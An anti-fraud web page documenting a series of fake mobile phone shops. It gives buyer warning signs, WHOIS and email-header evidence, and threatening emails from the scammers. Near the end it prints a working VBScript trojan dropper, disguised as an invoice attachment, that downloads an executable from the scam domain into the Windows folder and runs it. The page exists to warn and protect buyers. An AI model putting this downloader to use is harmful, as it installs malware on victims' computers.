Joe Wein
Fighting spam and scams
on the Internet

Home / Blog / About us
Spam
419/Nigeria
Online fraud
jwSpamSpy
Contact

Email Spam Filter:
jwSpamSpy
Try it for free!

Google
 

Mobile phone scams from Nigeria and Europe (payment by Western Union)

Mobile phone seller scams

Fake electronics stores and how to detect them
You will find many businesses on the Internet (including B2B sites such as Alibaba.com and on eBay) that offer mobile phones, notebook computers and other electronic products are very low prices. You should be aware that many of them are fraudulent.

Most fraudulent mobile phone sellers are not actual registered businesses. They have no offices, no warehouses, no accounts. They are just a bunch of guys with cellphones. All names and postal addresses are fake. The whole purpose of the fake companies is to trick people into sending cash or providing credit card details, without ever shipping any products to the customers.

The criminals are taking advantage of the fact that there is a serious lack of law enforcement resources targetted at small scale online fraud. If you have lost less than $5,000-10,000 the police would rather not even open a file on your case. Don't expect serious action unless the damage is much higher. This legal mess comes as a shock to many victims, but it's the current reality.

The fake stores listed here are primarily run by gangs from Nigeria, Romania and Russia. In some cases the only indication of where the criminals are is the country where the bank account is based, which may be different from the address claimed for the company. Here are some simple rules to follow if you don't want to get burnt:

  1. Never pay for online purchases by Western Union wire transfer (no exceptions)! It doesn't matter where the store claims to be based: Once you send money it can be picked up anywhere in the recipient's country, with no way of tracing the person who picked it up. The criminal remains anonymous. Do not trust any schemes to later change the recipient's name or the question/answer pair. Assume that if the criminal knows your name and the amount you sent he can pick up the money, no questions asked!. That's why Western Union has become the leading payment vehicle for online scams. Western Union is fine to wire cash to a stranded family member in a hurry, but do not use it for internet shopping, ever!

  2. Never pay by bank wire transfer into a bank account in a name other than the name of the business or in a country other than where the store claims to be based (e.g. UK company, Spanish account or German company, Dutch account). Why would a legitimate business use an account held in the name of an individual or not have an account in the same country?

  3. Beware if the seller uses a free webmail account (Hotmail, Yahoo, etc) or if the company's main phone number is a mobile phone (Spain: +34-6xx, UK: +44-70xx, +44-87xx, Nigeria: +234 80x) or if it shares the same number for the phone and fax or it doesn't list a postal address.

  4. Beware if a seller doesn't have his own website or uses a free webhosting site (e.h. http://phonestore.8m.com).

  5. Beware if the business has its own site, but the domain was created less than three months ago (use the following link to check their domain registration).

  6. Search for the name of the company on Google. Search for the phone number too, some of the frauds get reincarnated with a new company name but still using the same mobile phone. If the search yields scam warnings or only classified ads by the company and its own website or if you don't find anything at all you should be very careful. Use the form below to search:
    Google

  7. Beware of prices that are too low and/or free shipping and/or worldwide on-site service. Legitimate businesses need to pay suppliers, rent, taxes etc. and still make a profit. They won't underprice the nearest competitor by 30% or 50%, if they can also get the sale by being only 5-10% cheaper. In the real world international shipping is expensive and so is on-site service. You only get what you pay for. If it sounds too good to be true, it probably is.

  8. If you pay by credit card you're generally protected, but if the business is a scam they can abuse your credit card details for making fraudulent purchases elsewhere. You may have to get it cancelled and reissued, which is a hassle. PayPal is the safest.

  9. Don't buy mobile phones and other electronic equipment from a supplier in Nigeria unless you actually live there. Nigeria does not manufacture high-tech electronic equipment. All such goods have to be imported first and its ports and airports are notoriously inefficient. There is no reason why anyone there should be able to export mobile phones, computers and other imported high tech, high value articles cheaply. When you receive offers for such equipment at prices that sound too good to be true, assume it to be a scam.

How to fight back
If you have been defrauded, report the email addresses used in the scam to the webmail providers and ask for the accounts to be suspended (see here). This interrupts all scams in progress and forces the criminals to start from scratch using new email accounts, making all their ads on the web obsolete.

If you have had any questionable offers to buy mobile phones, laptop computers or similar items in Nigeria or Europe, please forward copies of emails to 419@419scam.org so we can warn others! Please use one of the following subject lines for your message:

[419] mobile
[419] mobile: fakecompanyname
[419] mobile: scamemailaddress

When you see such offers, use a disposable yahoo.com address to contact the company and get a quote for any phone or ask for a price list. You can also ask for payment instructions (bank accounts, wire transfer instructions). After you receive a response, click on the arrow on the right hand side of the Forward button in Yahoo! Mail and select "as attachment" to forward the reply to us. Use the above subject lines. When we receive those forwarded mails we can see where the mails are really sent from. It allows us to tie different scams and email addresses to the same originators.

jwSpamSpy
Are you sick of spam too? Do you want it stopped now?
Try jwSpamSpy, the spamfilter we use to track the spammers!
Free 30-day trial version available now!

Trans-GlobalGSM.com
This fake phone shop in Spain and several others were set up and run by a gang from Romania. They are operating from a mobile phone number and a fake postal address. The bank accounts they use for receiving payments were set up with fake ID.

The following spam promises "Zero Risk". Yes, suuuuure! ;-) The website has a copyright note dated 2003-2005, suggesting the company has been in business for at least two years, when in fact the domain was only registered on 2005-04-06, i.e. four weeks before the first spam. Google finds no hits for the name of the street where the business is supposed to operate. There is no fax number, only a single mobile phone number and a web form.

From: "Trans-Global GSM" <Support@trans-globalgsm.com>
To: <emailaddress>
Sent: Tuesday, 03 May, 2005 6:12
Subject: Trans-GlobalGSM.com - 50% discount for all cell phones !


  • You received this Potetial Customer e-mail newsletter because you can be a valued customer of Trans-GlobalGSM.com.
  • You will not receive this email in the future.

The spam email was sent directly from a dialup-account:

Received: from [213.98.204.85] (helo=m37783726-2)
	by mrelayng.kundenserver.de with asmtp (Exim 3.35 #1)
	id 1DSiEQ-0004sr-00
	for emailaddress; Mon, 02 May 2005 23:13:34 +0200
Reply-To: "Trans-Global GSM" <Support@trans-globalgsm.com>
From: "Trans-Global GSM" <Support@trans-globalgsm.com>
To: <emailaddress>
Subject: Trans-GlobalGSM.com - 50% discount for all cell phones !
Date: Mon, 2 May 2005 23:12:51 +0200

WHOIS details for sending network (IP 213.98.204.85):

     inetnum:      213.98.192.0 - 213.98.255.255
     netname:      RIMA
     descr:        Telefonica De Espana SAU (NCC#2001015139)
     descr:        Red de servicios IP
     descr:        Spain
     country:      ES
     admin-c:      LJP5-RIPE
     tech-c:       FLT14-RIPE
     rev-srv:      scmrro3.nombres.ttd.es
     rev-srv:      scmrro4.nombres.ttd.es
     rev-srv:      ns.ripe.net
     status:       ASSIGNED PA
     remarks:      ***************************************************
     remarks:      For ABUSE/SPAM/INTRUSION issues
     remarks:      PLEASE CONTACT ONLY THROUGH LINK
     remarks:      http://www.telefonicaonline.com/nemesys/
     remarks:      or send mail to nemesys@telefonica.es
     remarks:      any mail to adminis.ripe@telefonica.es will be ignored
     remarks:      ***************************************************
     mnt-by:       MAINT-TdE
     source:       RIPE
     
     person:       L Jimenez
     address:      TELEFONICA DE ESPANA
     address:      Emilio Vargas, 4
     address:      28043-MADRID
     address:      SPAIN
     phone:        +34 91 5846497
     fax-no:       +34 91 5842650
     e-mail:       adminis.ripe@telefonica.es
     nic-hdl:      LJP5-RIPE
     mnt-by:       MAINT-TdE
     remarks:      ***************************************************
     remarks:      For ABUSE/SPAM/INTRUSION issues
     remarks:      PLEASE CONTACT THROUGH LINK
     remarks:      http://www.telefonicaonline.com/nemesys/
     remarks:      or send mail to nemesys@telefonica.es
     remarks:      any mail to adminis.ripe@telefonica.es will be ignored
     remarks:      ***************************************************
     source:       RIPE
     
     person:       Francisco Lorenzo de Tuero
     address:      TELEFONICA DE ESPANA
     address:      Emilio Vargas, 4
     address:      28043-MADRID
     address:      SPAIN
     phone:        +34 91 5194446
     fax-no:       +34 91 5846936
     remarks:      ***************************************************
     remarks:      For ABUSE/SPAM/INTRUSION issues
     remarks:      PLEASE CONTACT THROUGH LINK
     remarks:      http://www.telefonicaonline.com/nemesys/
     remarks:      or send mail to nemesys@telefonica.es
     remarks:      any mail to adminis.ripe@telefonica.es will be ignored
     remarks:      ***************************************************
     e-mail:       francisco.lorenzodetuero@telefonica.es
     nic-hdl:      FLT14-RIPE
     mnt-by:       MAINT-TdE
     source:       RIPE

WHOIS details for domain "trans-globalgsm.com":

Request: trans-globalgsm.com
connected to whois.melbourneit.com [203.27.227.114:43] ... 

Domain Name.......... trans-globalgsm.com
  Creation Date........ 2005-04-07
  Registration Date.... 2005-04-07
  Expiry Date.......... 2007-04-07
  Organisation Name.... Trans Global GSM
  Organisation Address. Carretera Malilla, 92
  Organisation Address. 
  Organisation Address. Valencia
  Organisation Address. 46026
  Organisation Address. 00
  Organisation Address. SPAIN

Admin Name........... Lister Joan Daimond
  Admin Address........ Carretera Malilla, 92
  Admin Address........ 
  Admin Address........ Valencia
  Admin Address........ 46026
  Admin Address........ 00
  Admin Address........ SPAIN
  Admin Email.......... Support@Trans-GlobalGSM.com
  Admin Phone.......... +34610259087
  Admin Fax............ 

Tech Name............ Verio Hostmaster
  Tech Address......... 5050 Blue Lake Dr.
  Tech Address......... 
  Tech Address......... Boca Raton
  Tech Address......... 33431
  Tech Address......... FL
  Tech Address......... UNITED STATES
  Tech Email........... hostmaster@VERIO-HOSTING.COM
  Tech Phone........... 888-663-6648
  Tech Fax............. 888-663-6655
  Name Server.......... ns19a.nameservers.net
  Name Server.......... ns19b.nameservers.net

The postal address listed (Carretera Malilla, 92, Valencia) is the same as for a branch of a bank, Bancaja in Valencia. It is in a different city from the postal address listed on their website. Both the website and the WHOIS record list the same mobile phone number, though:

Trans-GlobalGSM.com
Carrer Diagonal 167
08017, Barcelona, Spain
Call our customer representative at: +34-610-259-087
Please contact our Customer Service Team on +34-610-259-087
Support@trans-globalgsm.com
=
Joan Daimond Lister
Universitat 23
Barcelona, 08012 Spain 
=
David Cragster
Carrer de Suite 160
Barcelona, 08001 Spain
=
 Bank Name: BANCAJA
  Full Name: Joan Daimond Lister
  Account Number: 2077/0089/70/1601285235
  IBAN: IBAN ES55 2077 0089 7016 0128 5235
  BIC(SWIFT): CVALESVVXXX
  COUNTRY: Spain 

Threatening unsigned email from "Trans-GlobalGSM.com":
After publishing the above information, we received the following email:

From: "Trans-Global GSM" <abuse@Trans-GlobalGSM.com>
To: <jwspamspy@pobox.com>
Sent: Sunday, 08 May, 2005 3:27
Subject: Trans-Global GSM


I hope you know what is the next thing we are going to do because 
of you website ! You better find a lawyer because hard days are 
coming for you . You have to pay for what you`ve done and i will 
quarantee you that you will pay . You said that on the our website 
is "All Copyrights Reserved to Trans-Global GSM 2003-2005" . For 
you information our company is running from 2003 , and now in 2005 
we have made an website for our company .

Best Regards
Trans-Global GSM Sales Department
E-mail: transactions@trans-globalgsm.com

Message headers:

Received: from 62.Red-81-38-196.pooles.rima-tde.net[81.38.196.62] (helo=m37783726-3)
	by mrelayeu.kundenserver.de with ESMTP (Nemesis),
	id 0ML2Dk-1DUU1p1mXL-0003SB; Sat, 07 May 2005 20:27:53 +0200
Reply-To: "Trans-Global GSM" <abuse@Trans-GlobalGSM.com>
From: "Trans-Global GSM" <abuse@Trans-GlobalGSM.com>
To: <jwspamspy@pobox.com>
Subject: Trans-Global GSM
Date: Sat, 7 May 2005 20:27:54 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Message-ID: <ML2Dk-1DUU1p1mXL-0003SB@mrelayeu.kundenserver.de>

Later we received another threatening email in the of a Pamela Joan Lister, very similar to the name "Joan Daimond Lister" used in the "trans-globalgsm.com" scam. A third and fourth email were received several months later, just before the gang attacked our PayPal account using fake eBay auctions using at least two hacked accounts.

trans-global-gsm.com (2005-03-29)
This is another domain used by the same fraudulent company. The registration details are fake.

WHOIS details for domain "trans-global-gsm.com":

Request: trans-global-gsm.com
connected to whois.crsnic.net [198.41.3.54:43] ... 
connected to whois.melbourneit.com [203.27.227.114:43] ... 

Domain Name.......... trans-global-gsm.com
  Creation Date........ 2005-03-29
  Registration Date.... 2005-03-29
  Expiry Date.......... 2006-03-29
  Organisation Name.... John Mcpherson
  Organisation Address. 120 Country Place Drive
  Organisation Address. 
  Organisation Address. Stockbridge
  Organisation Address. 30281
  Organisation Address. GA
  Organisation Address. UNITED STATES

Admin Name........... John Mcpherson
  Admin Address........ 120 Country Place Drive
  Admin Address........ 
  Admin Address........ Stockbridge
  Admin Address........ 30281
  Admin Address........ GA
  Admin Address........ UNITED STATES
  Admin Email.......... tgg_team@yahoo.com
  Admin Phone.......... +1.4042397242
  Admin Fax............ 

Tech Name............ YahooDomains TechContact
  Tech Address......... 701 First Ave.
  Tech Address......... 
  Tech Address......... Sunnyvale
  Tech Address......... 94089
  Tech Address......... CA
  Tech Address......... UNITED STATES
  Tech Email........... domain.tech@YAHOO-INC.COM
  Tech Phone........... +1.6198813096
  Tech Fax............. +1.6198813010
  Name Server.......... yns1.yahoo.com
  Name Server.......... yns2.yahoo.com

"Cargo Escrow" / cargo-esc.com (2005-08-21)

This is a fake Escrow service run by the same gang as "Trans-GlobalGSM.com". The domain was registered on 2005-08-21. The domain used in the contact email of the WHOIS details was registered a few months earlier using a fake address in Denmark and a mobile phone number in Spain. It also mentions a "Joan Lister", a name connected to "Trans-GlobalGSM.com". Another fake escrow operated by the same gang was buyssafe-inc.com (created 2005-03-14).

About Us

Who are we?

Cargo Escrow is an escrow company based in Sydney, Australia.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.


What does our system for you?

As a buyer, you are the beneficiary of our 5 - step process that postpones the release of your funds until a complete merchandise inspection, during the inspection period. As a seller, you enjoy the flexibility of our cooperation with major ground-shipment providers, which translates into a reduction of the period of time in which your merchandise reaches your customer. You will also be highly protected against payment fraud, as all disadvantages resulting from credit card payment methods, such as fraudulent use by the prospective buyer, are eliminated.


An Escrow Service That Is Secure, Flexible And Fast

Cargo Escrow is hosted on secure servers using the latest in encryption technology. Cargo Escrow is a licensed and accredited escrow company that operates in compliance with currently applicable escrow regulations.

WHOIS details for domain "cargo-esc.com":

Request: cargo-esc.com
connected to whois.joker.com [194.245.101.83:43] ... 
domain:       cargo-esc.com
owner:        Cargo Escrow
email:        cargo@electronics4trade.com
address:      8306 Wilshir Blvd Ste. 232
city:         Beverly Hills
state:        --
postal-code:  90211
country:      US
phone:        8007620398
admin-c:      cargo@electronics4trade.com#0
tech-c:       cargo@electronics4trade.com#0
billing-c:    cargo@electronics4trade.com#0
nserver:      a.ns.joker.com 194.176.0.2
nserver:      b.ns.joker.com 194.245.101.19
nserver:      c.ns.joker.com 194.245.50.1
status:       lock
created:      2005-08-21 18:16:30 UTC
modified:     2005-08-21 18:30:10 UTC
expires:      2006-08-21 14:16:29 UTC
source:       joker.com live whois service
query-time:   0.055655
db-updated:   2005-09-11 03:35:54

WHOIS details for domain "electronics4trade.com":

Request: electronics4trade.com
connected to whois.crsnic.net [198.41.3.54:43] ... 
connected to whois.joker.com [194.245.101.83:43] ... 
domain:       electronics4trade.com
owner:        FLEMMING STEEN NIELSEN
organization: Electronics Trade
email:        listerjoan_2005@yahoo.es
address:      Naturparken 21
city:         Roskilde
state:        --
postal-code:  4000
country:      DK
phone:        +34-610-235-453
admin-c:      listerjoan_2005@yahoo.es#0
tech-c:       listerjoan_2005@yahoo.es#0
billing-c:    listerjoan_2005@yahoo.es#0
nserver:      a.ns.joker.com 194.176.0.2
nserver:      b.ns.joker.com 194.245.101.19
nserver:      c.ns.joker.com 194.245.50.1
status:       lock
created:      2005-04-25 12:23:17 UTC
modified:     2005-04-25 12:23:17 UTC
expires:      2007-04-25 08:23:17 UTC
source:       joker.com live whois service
query-time:   0.071604
db-updated:   2005-09-11 03:38:44

buyssafe-inc.com (2005-03-14)
This is another domain used by the same fraudulent company. The registration details are fake.

WHOIS details for domain "buysafe-inc.com":

Request: buysafe-inc.com
connected to whois.schlund.info [195.20.224.146:43] ... 

domain:                          buysafe-inc.com
created:                         14-Mar-2005
last-changed:                    14-Mar-2005
registration-expiration:         14-Mar-2006

nserver:                         ns33.1and1.co.uk
nserver:                         ns34.1and1.co.uk

status:                          CLIENT-TRANSFER-PROHIBITED

registrant-firstname:            Corinne
registrant-lastname:             Tosaki
registrant-street1:              11 Reid Avenue
registrant-pcode:                G61 3DR
registrant-city:                 Glasgow
registrant-ccode:                GB
registrant-phone:                +44.1414923417
registrant-email:                ies@secure2trade.com

admin-c-firstname:               Corinne
admin-c-lastname:                Tosaki
admin-c-street1:                 11 Reid Avenue
admin-c-pcode:                   G61 3DR
admin-c-city:                    Glasgow
admin-c-ccode:                   GB
admin-c-phone:                   +44.1414923417
admin-c-email:                   ies@secure2trade.com

tech-c-firstname:                Hostmaster
tech-c-lastname:                 ONEANDONE
tech-c-organization:             1&1 Internet Ltd.
tech-c-street1:                  Herschel Street
tech-c-street2:                  The Nova Building
tech-c-pcode:                    SL1 1XS
tech-c-city:                     Slough
tech-c-ccode:                    GB
tech-c-phone:                    +44.8708503305
tech-c-fax:                      +44.1753490444
tech-c-email:                    hostmaster@1and1.co.uk

bill-c-firstname:                Hostmaster
bill-c-lastname:                 ONEANDONE
bill-c-organization:             1&1 Internet Ltd.
bill-c-street1:                  Herschel Street
bill-c-street2:                  The Nova Building
bill-c-pcode:                    SL1 1XS
bill-c-city:                     Slough
bill-c-ccode:                    GB
bill-c-phone:                    +44.8708503305
bill-c-fax:                      +44.1753490444
bill-c-email:                    hostmaster@1and1.co.uk

WHOIS details for domain "secure2trade.com":

Request: secure2trade.com
connected to whois.crsnic.net [198.41.3.54:43] ... 
connected to whois.joker.com [194.245.101.83:43] ... 
domain:       secure2trade.com
owner:        third party name
organization: third party name
email:        cashcate_a2k@yahoo.de
address:      third party street address
city:         third party city
state:        --
postal-code:  third party zip
country:      US
phone:        third party work number
admin-c:      cashcate_a2k@yahoo.de#0
tech-c:       cashcate_a2k@yahoo.de#0
billing-c:    cashcate_a2k@yahoo.de#0
nserver:      a.ns.joker.com 194.176.0.2
nserver:      b.ns.joker.com 194.245.101.19
nserver:      c.ns.joker.com 194.245.50.1
status:       lock
created:      2005-02-09 13:21:26 UTC
modified:     2005-02-09 13:21:26 UTC
expires:      2006-02-09 08:21:26 UTC
source:       joker.com live whois service
query-time:   0.059766
db-updated:   2005-09-11 03:54:25

A person with this email address (cashcate_a2k@yahoo.de) was selling Motorola Razrs in an auction in February and claimed to be based in Barcelona, Spain, just like Trans-GlobalGSM.com.


LocalGSM.com
"Trans-GlobalGSM.com" seem to have changed their name, because a virtually identical site now operates under a new name. "localgsm.com" is a fraud. It was only registered on 2005-04-30, despite it's "2003-2005" copyright notice. That is about three weeks later than "Trans-GlobalGSM.com" which was registered on 2005-04-06. Compare the two sites:
Be sure you get what you bought
Our products are brand new and
as is described in our page.

Fast deals
Want to close the deal fast and
secure? You came to the right
place! You can rely on us!

Welcome buyers!
We are the perfect way
to shop online.

http://www.trans-globalgsm.com/index2.html
Be sure you get what you bought
Our products are brand new and
as is described
in our page.

Fast deals
Want to close the deal fast and
secure? You came to the right
place! You can rely on us!

Welcome buyers!
We are
the perfect way
to shop online.

http://www.localgsm.com/index.html
Here are their contact details:

Call our customer representative at: +34-666015453 

Call us (Tool Free from USA): 1-877-533-4807 

Customer Service Team on +34-666-015-453
The +34-6xx number is mobile phone in Spain. Here is what they say about themselves:
LocalGSM.com: The premier way to shop online 

Who are we?

LocalGSM.com is an store based in Burgos 47, 3/6 A,08100, 
Barcelona, Spain.We were born out of the ever increasing need 
for fast, reliable transactions which would also not exclude 
the one value that the Internet Community cherishes most: privacy.


What does or system for you?

As a buyer, you are the beneficiary of our 5 - step process that 
postpones the order and shipp of the products ordered.You will 
also be highly protected against payment fraud, as all disadvantages 
resulting from credit card payment methods, such as fraudulent 
use by the prospective buyer, are eliminated.


An Shop Service That Is Secure, Flexible And Fast

LocalGSM.com is hosted on secure servers using the latest in 
encryption technology. LocalGSM.com is a licensed and accredited 
shopping company that operates in compliance with currently applicable 
shop regulations. 

Despite their claims about encryption, you can't open their website via a secure connection (https://localgsm.com), which indicates they have no encryption certificate.

On their products pages, all 10 different models on the first Sony Vaio page, from a 12" to a 17" screen, with drives sizes from 40 to 80 GB and CPU speeds from 1.4 GHz to 1.7 GHz cost exactly the same: €899.00. This doesn't make any sense.

Here is a report we have received about them:

MOBILE PHONE SCAM IN SPAIN!!!

The company Trans-globalgsm.com has created another name for themselves: 
localgsm.com!!! I was defrauded. Saw their ad on ebay contacted them and 
wired about £700 from London. I became suspicious and asked my bank to stop 
it today. After a lot of hassle trying to trace the funds, I had to use the 
services of a translator to explain to the bank in spain i wired the money 
to that the account was being used for fraud. Apparently other victims had 
contacted them too and the funds have been frozen - so hopefully I will be 
getting back the major part of my money as the bank confirmed that the 
crooks could not get it because of my fast action and that of the other 
vulnerable individuals who they scammed!!


Threatening mail from "Pamela Joan Lister"

"Pamela Joan Lister" sounds very similar to the name "Joan Daimond Lister" used in the "trans-globalgsm.com" scam. It seems ironic that a thief accuses us of being "rude".


Hello,

Regarding your web site www.joewein.de
I have only one sugestion for you.
Shout it down until you have problems with us.
I realy want you to understand and shout it down for i will not be forced to take auctions aganist you.
I understand that you post that informations for the peoples can donate money and you get it.Is profitable but by example you can sell t-shirts or boots or something else not to prevent fraud for money.Is like something free for cash you understand.
Is a donation yes but why you are so rude dude?
go to work not ask for money you look like a gipsye

Regards,
Sons Of Darkness Hackers Team

Message headers:

Received: from [80.58.35.42] by web26807.mail.ukl.yahoo.com
 via HTTP; Fri, 24 Jun 2005 15:54:20 CEST
Date: Fri, 24 Jun 2005 15:54:20 +0200 (CEST)
From: Pamela Joan Lister <listerjoan_2005@yahoo.es>
Subject: Hi
To: joewein@pobox.com


GSM-MobileShop.com
"GSM-Mobile Shop" (gsm-mobileshop.com) is part of the same series of scams as "Trans-GlobalGSM.com" and "LocalGSM.com" run by a Romanian gang. The domain was registered on 2005-07-23 using DomainsByProxy.com to hide the identity of the registrant.

The only phone number of their site is a mobile phone: +34-662-396-902.

GSM-MobileShop.com: The premier way to shop online

Who are we?

GSM-MobileShop.com is an store based in Rambla 14, 08022, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.

What does our system for you?

As a buyer, you are the beneficiary of our 5 - step process that postpones the order and shipp of the products ordered.You will also be highly protected against payment fraud, as all disadvantages resulting from credit card payment methods, such as fraudulent use by the prospective buyer, are eliminated.

An Shop Service That Is Secure, Flexible And Fast

GSM-MobileShop.com is hosted on secure servers using the latest in encryption technology. GSM-MobileShop.com is a licensed and accredited shopping company that operates in compliance with currently applicable shop regulations.

The company does not accept credit cards or PayPal payments (in other words, payment methods which are safe for the buyer), only money orders and bank wire transfers. Bank wire transfers to bank accounts in Spain are the second most common payment method in online fraud cases that we come across (after Western Union/Moneygram).

The following information is for payments on transactions that are in all currencyes.

Money Order
Please make money order payable to Frank Breakster or to Ethan Steeples, under the addresses listed below:

(We do not accept checks drawn on a credit card)

Frank Breakster
Ponent 21
Barcelona, 08012 Spain

Ethan Steeples
Clot 17
Barcelona, 08001 Spain

PayPal Transfers:
For the moment not available. One of our customers has pay us with an stolen PayPal account and the result was: our PayPal account locked.

Wire Transfers:
Available.


Eurogsmshop.com (2005-08-16)
Eurogsmltd.com (2005-09-08)

Eurogsmshop.com is a fraud. The domain was only registered on 2005-08-16, a week before the first person reported it to us. Its twin eurogsmltd.com (registered on 2005-09-08) is basically another version of eurogsmshop.com. It even still mentions "eurogsmshop.com" by name. Both are the same scam as Trans-GlobalGSM.com, LocalGSM.com and gsm-mobileshop.com. Eurogsmshop.com even uses the same mobile phone number as the first two (+34-666-015-453). Eurogsmltd.com uses a different mobile number (+34-697-531-049), which is mentioned in a thread on Dutch anti-fraud site internetoplichting.nl that also mentions the fraud site electronics4trade.com, which in turn is mentioned in the WHOIS details of cargo-esc.com, another scam related to Trans-GlobalGSM.com. The next scam in the series is e-phonehouse.com (registered 2005-09-20). All of these scams are run by the same criminals from Romania.

EuroGSMltd.com used a bank account operated in the name of one "Marcello Tomassi" at the Spanish bank "La Caixa" located at Carrer Padilla 271 in Barcelona. The bank appears to have suspended this account now.

The above fraud sites share descriptive text with the fake escrow sites escrow-bg.com ("USA Escrow") and parcel-ex.com ("Prestige Alliance"), but in a threating email from the gang the criminals deny that the fake escrow sites are part of the same scame as their other sites.

For general support and advice please call our number(s) from 10 AM to 10 PM GMT Time, Monday to Friday and from 4 PM to 10 PM GMT Time Sunday and Saturday.

For tech Support and Questions

Call our customer representative at: +34-666-015-453

Who are we?

eurogsmshop.com is an store based in C/Sant Francesc 4,08290, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.


What does or system for you?

As a buyer, you are the beneficiary of our 5 - step process that postpones the order and shipp of the products ordered.You will also be highly protected against payment fraud, as all disadvantages resulting from credit card payment methods, such as fraudulent use by the prospective buyer, are eliminated.


An Shop Service That Is Secure, Flexible And Fast

eurogsmshop.com is hosted on secure servers using the latest in encryption technology. eurogsmshop.com is a licensed and accredited shopping company that operates in compliance with currently applicable shop regulations.

WHOIS details for "eurogsmshop.com":

Registrant:
Domains by Proxy, Inc.

DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States

Registered through: GoDaddy.com (http://www.godaddy.com)
Domain Name: EUROGSMSHOP.COM
Created on: 16-Aug-05
Expires on: 16-Aug-06
Last Updated on: 16-Aug-05

Administrative Contact:
Private, Registration EUROGSMSHOP.COM@domainsbyproxy.com
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599
Technical Contact:
Private, Registration EUROGSMSHOP.COM@domainsbyproxy.com
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599

Domain servers in listed order:
WSC1.JOMAX.NET
WSC2.JOMAX.NET


Registry Status: REGISTRAR-LOCK

WHOIS details for domain "eurogsmltd.com":

Registrant:
   Domains by Proxy, Inc.
   DomainsByProxy.com
   15111 N. Hayden Rd., Ste 160, PMB 353
   Scottsdale, Arizona 85260
   United States

   Registered through: GoDaddy.com
   Domain Name: EUROGSMLTD.COM
     Created on: 08-Sep-05
     Expires on: 08-Sep-06
     Last Updated on: 08-Sep-05

   Administrative Contact:
     Private, Registration  EUROGSMLTD.COM@domainsbyproxy.com
     Domains by Proxy, Inc.
     DomainsByProxy.com
     15111 N. Hayden Rd., Ste 160, PMB 353
     Scottsdale, Arizona 85260
     United States
     (480) 624-2599
   Technical Contact:
     Private, Registration  EUROGSMLTD.COM@domainsbyproxy.com
     Domains by Proxy, Inc.
     DomainsByProxy.com
     15111 N. Hayden Rd., Ste 160, PMB 353
     Scottsdale, Arizona 85260
     United States
     (480) 624-2599

   Domain servers in listed order:
     PARK21.SECURESERVER.NET
     PARK22.SECURESERVER.NET

A customer who placed an order with EuroGsmLtd.com was sent an "Invoice" as an attachment by email. When he tried to view the file, his Virus scanner stopped him. The "Invoice" turned out to be a Visual Basic script that installs a Trojan in the Windows folder of the victim:

invoicennnnnnn.vbs:

const adTypeBinary = 1
const adSaveCreateOverwrite = 2
const adModeReadWrite = 3

set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET","http://eurogsmltd.com/esc/services.exe",false
xmlHTTP.send
contents = xmlHTTP.responseBody

Set oStr = CreateObject("ADODB.Stream")
oStr.Mode = adModeReadWrite
oStr.Type = adTypeBinary
oStr.Open

oStr.Write(contents)
oStr.SaveToFile "c:\Windows\services.exe", adSaveCreateOverwrite




Dim oShell
Set oShell = WScript.CreateObject ("WSCript.Shell")
oShell.run "cmd /K c:\windows\services.exe & "
Set oShell = Nothing

Another threat from the "Global GSM" gang:

Hello,

i write you this email because i want to make something clear:

here:

Eurogsmshop.com (2005-08-16)
Eurogsmltd.com (2005-09-08)


Eurogsmshop.com is a fraud. The domain was only registered on 2005-08-16, a week before the first person reported it to us. Its twin eurogsmltd.com (registered on 2005-09-08) is basically another version of eurogsmshop.com. It even still mentions "eurogsmshop.com" by name. Both are the same scam as Trans-GlobalGSM.com, LocalGSM.com and gsm-mobileshop.com. Eurogsmshop.com even uses the same mobile phone number as the first two (+34-666-015-453). Eurogsmltd.com uses a different mobile number (+34-697-531-049), which is mentioned in a thread on Dutch anti-fraud site internetoplichting.nl that also mentions the fraud site electronics4trade.com, which in turn is mentioned in the WHOIS details of cargo-esc.com, another scam related to Trans-GlobalGSM.com.

This sites were apparently created by the same gang as the fake escrow sites escrow-bg.com ("USA Escrow") and parcel-ex.com ("Prestige Alliance") because all three sites share descriptive text.



You say that all that sites:

Trans-GlobalGSM.com

cargo-esc.com

gsm-mobileshop.com

LocalGSM.com

Trans-GlobalGSM.com

eurogsmshop.com

buysafe-inc.com

are related to :

escrow-bg.com and parcel-ex.com



as the owner of the most of it i want to clarify that we don`t own escrow-bg.com and parcel-ex.com

and only that mentioned.Ok but only 4 of it are mine and other 2 of one of my friends.

i want this clear because i something very disturbing because we are the bests.Any way look i sugest you to shout down your page once you will receive this email or you will get big problems.I`ve threaten you once but now i will keep my promise

if i don`t see that removed so bee it i will take action....you will be punished and yes put that on the page...i beg you.....



regards,



SOD

Later the person offered to "talk":

From: "ricky marn" <rickymarn@yahoo.es>
To: <joewein@pobox.com>; <jwSpamSpy@pobox.com>
Sent: Thursday, 22 September, 2005 5:08
Subject: hello...related some spam web sites


if you want to talk i can talk i see you very interested about us...are you following?





---------------------------------

Correo Yahoo!
Comprueba qué es nuevo, aquí
http://correo.yahoo.es


e-phonehouse.com (2005-09-20)

This is yet another incarnation of the TransGlobal GSM / Euro GSM series of mobile phone scams run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live.

The fraudulent website appears to be hosted by Godaddy.com. Therefore please send a report to abuse@godaddy.com. If you have sent money by Western Union and it hasn't been pick up yet, call Western UNion to halt the transfer. If you did a bank wire transfer, call the bank in Spain to freeze the receiving account, which will have been created with fake identification papers. Get assistance from your own bank if you need to.

e-phonehouse.com: The premier way to shop online

Who are we?

